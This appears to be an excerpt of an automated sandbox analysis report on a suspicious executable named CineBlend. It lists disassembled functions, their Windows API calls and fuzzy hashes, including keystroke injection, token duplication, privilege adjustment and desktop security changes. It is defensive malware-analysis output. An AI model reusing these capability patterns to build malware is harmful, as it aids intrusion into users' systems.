                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: __wsopen_s
                                  • String ID:
                                  • API String ID: 3347428461-0
                                  • Opcode ID: c915fd43a7330434cca03a9c7fe9dcb22573d38e3800ec3b763071f05b673618
                                  • Instruction ID: 4d76f3a978110a826aa8f8fd8bd3dd79a094238bf7094bf064f4e834bff4eacc
                                  • Opcode Fuzzy Hash: c915fd43a7330434cca03a9c7fe9dcb22573d38e3800ec3b763071f05b673618
                                  • Instruction Fuzzy Hash: 971118B590420AAFCB15DF58E945A9E7BF4EF48310F1141A9F809AB311DA31EE11CB65
                                  Function 00B65373 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B64FF0: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B6319C,00000001,00000364,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B65031
                                  • _free.LIBCMT ref: 00B653DF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AllocateHeap_free
                                  • String ID:
                                  • API String ID: 614378929-0
                                  • Opcode ID: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
                                  • Instruction ID: 565144df8b651ccc63d41138d26cf461613b068df69565ab9366b20fb89e15b9
                                  • Opcode Fuzzy Hash: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
                                  • Instruction Fuzzy Hash: 2901F9B22007056BE3318F69D881D5AFBEDEB85370F65066DE58583280EB74A905C774
                                  Function 00B5E972 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 4624603760d48ad0bd9b94422b8c27d6f3f6d6689bf5384beaeb8052d0d19255
                                  • Instruction ID: 89ffb47122193051af58e139c8688d5285af730222ff695e1618d3dda57fa04a
                                  • Opcode Fuzzy Hash: 4624603760d48ad0bd9b94422b8c27d6f3f6d6689bf5384beaeb8052d0d19255
                                  • Instruction Fuzzy Hash: 4DF02832500A2056E7353A2A9C05B6A33D9CF42336F1007E6FD35D31D1EF78E90A86D2
                                  Function 00B3B329 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen
                                  • String ID:
                                  • API String ID: 176396367-0
                                  • Opcode ID: 1831a77acc44a817faade0bdcf989f396385b6f450ca47fc9b345e170315b160
                                  • Instruction ID: 1099aa847c9f8099e88b75a353ffaf1f66c0043dac137bfa95905d486aef8162
                                  • Opcode Fuzzy Hash: 1831a77acc44a817faade0bdcf989f396385b6f450ca47fc9b345e170315b160
                                  • Instruction Fuzzy Hash: DEF0C8B3601B146ED714AF28D806F66BBD8EB44360F1085AAFB19CB1D1DB71E5148BA4
                                  Function 00B64FF0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B6319C,00000001,00000364,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B65031
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AllocateHeap
                                  • String ID:
                                  • API String ID: 1279760036-0
                                  • Opcode ID: d8fdc96e128516ac133ce59f464c360ba36c867edd6c855e0348cb0fc2c834ff
                                  • Instruction ID: 2ea18bd9deeb32b6d2962aab5eed841944c30c1e42f71f89fdb9f882fa8ae95b
                                  • Opcode Fuzzy Hash: d8fdc96e128516ac133ce59f464c360ba36c867edd6c855e0348cb0fc2c834ff
                                  • Instruction Fuzzy Hash: 8EF0E236610E25A7DB312E66DC05F5A77C8FF407E1F1980E1FC08AB0A0DA38D82586F0
                                  Function 00B63B93 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • RtlAllocateHeap.NTDLL(00000000,?,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63BC5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AllocateHeap
                                  • String ID:
                                  • API String ID: 1279760036-0
                                  • Opcode ID: c9fb2083e8ddce2a258bad70e62d8a9e7e0ccf3c1f07554becf9a3913be33abb
                                  • Instruction ID: 958965541ca590ae54c4afd586c7aa49a429ccb057c7aa6339063b2742887e0b
                                  • Opcode Fuzzy Hash: c9fb2083e8ddce2a258bad70e62d8a9e7e0ccf3c1f07554becf9a3913be33abb
                                  • Instruction Fuzzy Hash: 20E06D21642A21A6DA313B769C45B5A7ACCEF41BA1F1D01E1EC06A65A1DF68CE4086A0
                                  Function 00B366E7 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 1692df989f8936be01fadfb1759d9efcd881b820d52a0864d0fb2a2fd94525b0
                                  • Instruction ID: 8c2aa65fc463bcd5a1e77019d3d80e7dc6cb2585bf00223003182c91e39d4aa0
                                  • Opcode Fuzzy Hash: 1692df989f8936be01fadfb1759d9efcd881b820d52a0864d0fb2a2fd94525b0
                                  • Instruction Fuzzy Hash: B4F01571505702DFCB349F64D8A0856BBE4EF1432A364C9BEE5EA86610C7719844DF10
                                  Function 00B3684A Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: __fread_nolock
                                  • String ID:
                                  • API String ID: 2638373210-0
                                  • Opcode ID: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
                                  • Instruction ID: 6bf6995ca4e4d19055e586333366edde1dc354bfbbe788fe892ee5b535113f30
                                  • Opcode Fuzzy Hash: dbc72fcbbe417d099125a5b7f0b477dbc50683e17be9c436dba593077d17b43b
                                  • Instruction Fuzzy Hash: 0DF0F87550020DFFDF09DF90C941E9E7BB9FB08318F208485F9159A151C376EA21ABA1
                                  Function 00B33907 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Shell_NotifyIconW.SHELL32(00000002,?), ref: 00B33963
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: IconNotifyShell_
                                  • String ID:
                                  • API String ID: 1144537725-0
                                  • Opcode ID: ac5ca028ee09e6e2161aea5eeb642c411c52809f429164c21060618cb39dc513
                                  • Instruction ID: c071bcff1b8b59d37bd306e475a84e86b4c5204455a033ed3ad352380b21f45c
                                  • Opcode Fuzzy Hash: ac5ca028ee09e6e2161aea5eeb642c411c52809f429164c21060618cb39dc513
                                  • Instruction Fuzzy Hash: ADF030709143189FEB529F64DC4EB9A7BFCA705708F0041E9A688A7292DB745B88CF91
                                  Function 00B33A57 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B33A76
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LongNamePath_wcslen
                                  • String ID:
                                  • API String ID: 541455249-0
                                  • Opcode ID: 4b8e9fab93ed61f6b42da5936eecafa648cf95eb05de5bf3f4d8abb5cd9bb906
                                  • Instruction ID: 38fd31a375a136aae663b406f61ca14f20e2db0e14e6decb76c669f9d9689069
                                  • Opcode Fuzzy Hash: 4b8e9fab93ed61f6b42da5936eecafa648cf95eb05de5bf3f4d8abb5cd9bb906
                                  • Instruction Fuzzy Hash: C0E0C276A002245BCB20A758DC06FEA77EDDFC87A0F0540B1FC09D7258DD60ED809690
                                  Function 00B9E83E Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                  Download Yara Rule
                                  APIs
                                  • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00B9E857
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FolderPath_wcslen
                                  • String ID:
                                  • API String ID: 2987691875-0
                                  • Opcode ID: 537162d462c0e6b03a29d621db3ec760ff0cdd721a21758e0d227aa111ce124f
                                  • Instruction ID: 58f94f57604d990a6c4b53f6ecb09cb32f43d591fee8060cafc3b224623f62f8
                                  • Opcode Fuzzy Hash: 537162d462c0e6b03a29d621db3ec760ff0cdd721a21758e0d227aa111ce124f
                                  • Instruction Fuzzy Hash: 5CD05EA59003282BDF64A6749C0DDBB3AACCB84210F0006A078ADD3152ED30EE4486A0
                                  Function 00BA12EB Relevance: 1.5, APIs: 1, Instructions: 20threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateThread.KERNELBASE(00000000,00000000,Function_000712D1,00000000,00000000,?), ref: 00BA1306
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateThread
                                  • String ID:
                                  • API String ID: 2422867632-0
                                  • Opcode ID: e356365e79134ab1b5105d73fb9ce8bd34f3ada55dd324947a0148820cdee2f0
                                  • Instruction ID: 6c6ed0aa5903424443bcddab9312d5428c95c2c7874f899681bc77b111bd90ba
                                  • Opcode Fuzzy Hash: e356365e79134ab1b5105d73fb9ce8bd34f3ada55dd324947a0148820cdee2f0
                                  • Instruction Fuzzy Hash: BED0A7B1426314BF9F6CCB55CD4ACA776ECE906651740157EB402E2940F5F0FD00CAB0
                                  Function 00B7071A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • CreateFileW.KERNELBASE(00000000,00000000,?,00B70A84,?,?,00000000,?,00B70A84,00000000,0000000C), ref: 00B70737
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateFile
                                  • String ID:
                                  • API String ID: 823142352-0
                                  • Opcode ID: eed4dd1f3d8a24abfe731e69a0c1df89cc4f0473daf66a115af33e53d4dd4f49
                                  • Instruction ID: 61dd562e4d61f3641ed285fd0b4cfa510b462bac9ec9c1428cf3d46c88ce5bfb
                                  • Opcode Fuzzy Hash: eed4dd1f3d8a24abfe731e69a0c1df89cc4f0473daf66a115af33e53d4dd4f49
                                  • Instruction Fuzzy Hash: 0ED06C3200010DBBDF028F85DD06EDA3BAAFB4C714F014010BE1866020C732E821AB90

                                  Non-executed Functions

                                  Function 00B4FC7C Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00B4FC86
                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B8FCB8
                                  • IsIconic.USER32(00000000), ref: 00B8FCC1
                                  • ShowWindow.USER32(00000000,00000009), ref: 00B8FCCE
                                  • SetForegroundWindow.USER32(00000000), ref: 00B8FCD8
                                  • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B8FCEE
                                  • GetCurrentThreadId.KERNEL32 ref: 00B8FCF5
                                  • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B8FD01
                                  • AttachThreadInput.USER32(?,00000000,00000001), ref: 00B8FD12
                                  • AttachThreadInput.USER32(?,00000000,00000001), ref: 00B8FD1A
                                  • AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 00B8FD22
                                  • SetForegroundWindow.USER32(00000000), ref: 00B8FD25
                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B8FD3A
                                  • keybd_event.USER32(00000012,00000000), ref: 00B8FD45
                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B8FD4F
                                  • keybd_event.USER32(00000012,00000000), ref: 00B8FD54
                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B8FD5D
                                  • keybd_event.USER32(00000012,00000000), ref: 00B8FD62
                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B8FD6C
                                  • keybd_event.USER32(00000012,00000000), ref: 00B8FD71
                                  • SetForegroundWindow.USER32(00000000), ref: 00B8FD74
                                  • AttachThreadInput.USER32(?,000000FF,00000000), ref: 00B8FD9B
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                  • String ID: Shell_TrayWnd
                                  • API String ID: 4125248594-2988720461
                                  • Opcode ID: adcc9db88b765d7696c12d6aafcc721164fac29fbb4d938c46f9d9b684a80e12
                                  • Instruction ID: 58d26dfa4ced1b47b77fff9eb86f7d640c39de4078b2a771434f5827bf67b12f
                                  • Opcode Fuzzy Hash: adcc9db88b765d7696c12d6aafcc721164fac29fbb4d938c46f9d9b684a80e12
                                  • Instruction Fuzzy Hash: A9316375A40218BBEB206BB54C49F7F7EACEB48B50F100079FA01E71E1DAB05D10EBA0
                                  Function 00B91B4D Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B92010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9205A
                                    • Part of subcall function 00B92010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B92087
                                    • Part of subcall function 00B92010: GetLastError.KERNEL32 ref: 00B92097
                                  • LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00B91BD2
                                  • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 00B91BF4
                                  • CloseHandle.KERNEL32(?), ref: 00B91C05
                                  • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B91C1D
                                  • GetProcessWindowStation.USER32 ref: 00B91C36
                                  • SetProcessWindowStation.USER32(00000000), ref: 00B91C40
                                  • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B91C5C
                                    • Part of subcall function 00B91A0B: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B91B48), ref: 00B91A20
                                    • Part of subcall function 00B91A0B: CloseHandle.KERNEL32(?,?,00B91B48), ref: 00B91A35
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
                                  • String ID: $default$winsta0
                                  • API String ID: 22674027-1027155976
                                  • Opcode ID: ccbe25ddd1156c1515da6a1368a7764abe11f8e931c7d9322327d9a9e30235cb
                                  • Instruction ID: 9b44c41455d2a60232c6a0972c9565f8c138109f3b2ce53079bdecf9c808c42b
                                  • Opcode Fuzzy Hash: ccbe25ddd1156c1515da6a1368a7764abe11f8e931c7d9322327d9a9e30235cb
                                  • Instruction Fuzzy Hash: AF818B75A0120AAFDF119FA8DC49FEE7BF8EF08304F1444B9F914A62A1DB718945DB60
                                  Function 00B914AE Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B91A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B91A60
                                    • Part of subcall function 00B91A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A6C
                                    • Part of subcall function 00B91A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A7B
                                    • Part of subcall function 00B91A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A82
                                    • Part of subcall function 00B91A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B91A99
                                  • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B91518
                                  • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B9154C
                                  • GetLengthSid.ADVAPI32(?), ref: 00B91563
                                  • GetAce.ADVAPI32(?,00000000,?), ref: 00B9159D
                                  • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B915B9
                                  • GetLengthSid.ADVAPI32(?), ref: 00B915D0
                                  • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B915D8
                                  • HeapAlloc.KERNEL32(00000000), ref: 00B915DF
                                  • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B91600
                                  • CopySid.ADVAPI32(00000000), ref: 00B91607
                                  • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B91636
                                  • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B91658
                                  • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B9166A
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B91691
                                  • HeapFree.KERNEL32(00000000), ref: 00B91698
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B916A1
                                  • HeapFree.KERNEL32(00000000), ref: 00B916A8
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B916B1
                                  • HeapFree.KERNEL32(00000000), ref: 00B916B8
                                  • GetProcessHeap.KERNEL32(00000000,?), ref: 00B916C4
                                  • HeapFree.KERNEL32(00000000), ref: 00B916CB
                                    • Part of subcall function 00B91ADF: GetProcessHeap.KERNEL32(00000008,00B914FD,?,00000000,?,00B914FD,?), ref: 00B91AED
                                    • Part of subcall function 00B91ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B914FD,?), ref: 00B91AF4
                                    • Part of subcall function 00B91ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B914FD,?), ref: 00B91B03
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
